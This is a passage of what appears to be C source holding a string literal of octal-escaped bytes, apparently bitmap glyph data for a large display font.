\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\374>\\36\\37\\17\\17\\377\\377\\377\\377\\17\\17\\17\\37\\36>~\\374\\374\\370\"\n  \"p \\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\200\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\17\\37\\37\\37\\377\\377\\377\\377||\\370\\370\\370\\360\\360\\340\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\"\n  \"\\377\\377\\374\\0\\0\\0\\30>\\77~\\374\\370\\360\\360\\340\\340\\340\\340\\377\\377\\377\\377\\340\\340\\340\\360\\360\\370\\374\\177\\77\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\77\\77\\77\\77\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\"\n  \"\\300\\300\\0\\0\\360\\374\\377\\377\\17\\7\\7\\3\\7\\7\\37\\377\\377\\377\\374\\360\\0\\0\\0\\0\\0\\300\\360\\374\\377\\177\\37\\7\"\n  \"\\1\\0\\0\\0\\3\\17\\77\\177|\\370\\370\\360\\370\\370\\374\\177\\177\\77\\17\\3\\200\\340\\370\\374\\377\\77\\17\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\376\\177\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\374\\377\\77\\17\\7\\1\\0\\200\\340\\370\\374|>\\36\\36\\36>|\"\n  \"\\374\\370\\340\\200\\0\\0\\0\\200\\340\\370\\376\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\340\\200\\200\\200\\200\\200\\340\"\n  \"\\377\\377\\377\\77\\0\\4\\6\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\17\\7\\7\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\37\\17\\7\\7\\7\\7\\7\\7\\17\\77\\377\\377\\376\\374\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\177\\377\\377\\374\\360\\300\\200\\0\\0\\200\\300\\340\\370\\377\\377\\177\\77\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\371\\373\\177\\77\\77\\177\\377\\377\\377\\367\\347\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\0\\0\\340\\374\\376\\377\\377\\77\\7\\3\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37\\77\\377\\376\\370\\360\\340\\300\\340\\360\\374\"\n  \"\\377\\177\\77\\16\\17\\77\\177\\377\\377\\374\\360\\340\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360\\371\\377\\177\\77\\77\\177\\377\\377\"\n  \"\\361\\340\\300\\200\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\370x`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\17\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\177\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\377\\377\\374\\370\\360\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\77>~\\374\\70\"\n  \"\\10\\0\\0\\0\\0\\0\\0\\0\\360\\370\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\37\\177\\377\\376\\374\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\377\\377\\377\\377\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\77\\17\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\377\\77\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\374|~\\77\\37\\37\\17\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340 \\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\17\\377\\377\\377\\177\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\"\n  \"\\340\\200\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\17\\17\\216\\376\\374\\377\\177\\377\\374\\376\\316\\17\\17\\17\\7\\7\\7\\3\\3\"\n  \"\\3\\1\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\37\\17\\3\\0\\0\\0\\3\\7\\37\\77\\376\\374\\370\\360\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\"\n  \"\\36\\36\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\340\\340\\340\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\17\\17\\37\\377\\377\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\370~\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0xxxxxxxxxxxxxxxxxxxxxxxxx\"\n  \"x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370\\360\\360\"\n  \" \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\376\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\36\\37\\77\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\376\\374\\370\\360\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\374\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374~\\37\\177\\377\\377\\377\"\n  \"\\370\\200\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\177\\37\\17\\7\\1\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\7\\177\\377\\377\\377\\374\\360\\370\\376\\177\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\"\n  \"\\377\\7\\0\\0\\0\\0\\0\\3\\17\\37\\177\\377\\377\\370\\360\\340\\300\\300\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\177\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\60x\\70<<>\\36\\37\\37\\17\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\70|\\376~\\37\\17\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\377\\376\\374\\370\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\341\\377\\377\\377\\377\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\376\\177\\77\\37\\17\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\237\\217\\203\\201\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\14\\36\\77\\37\\17\\17\\7\\7\\7\\7\\3\\7\\7\\7\\17\\17\\37\\177\\377\\376\\374\\370\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\377\\377\\377\\177\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0>>\\36>>\\77\\77\\77\\177\\377\\377\\373\\363\\341\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\377\\377\\370\"\n  \"\\0\\0\\0\\0\\0\\0@\\340\\360\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\377\\177\\77\\37\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\177\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\77\\37\\7\\3\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0<\\77\\77\\77\\77=<<<<<<<<<<<<\\377\\377\\377\\377\\377<<<<\"\n  \"<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\\300\\300\\300\\340\\340\\340\\340\\340\\340\\340\\300\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\77\\37\\17\\7\\3\\3\\3\\3\\1\\3\\3\\3\\3\\7\\17\\37\\77\\377\\377\\376\\374\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\60x\\374\\374\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\377\\177\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\374\\376\\77\\37\\17\\17\\7\\7\\7\\3\\7\\7\\7\\7\\17\\37\\37\\17\\6\"\n  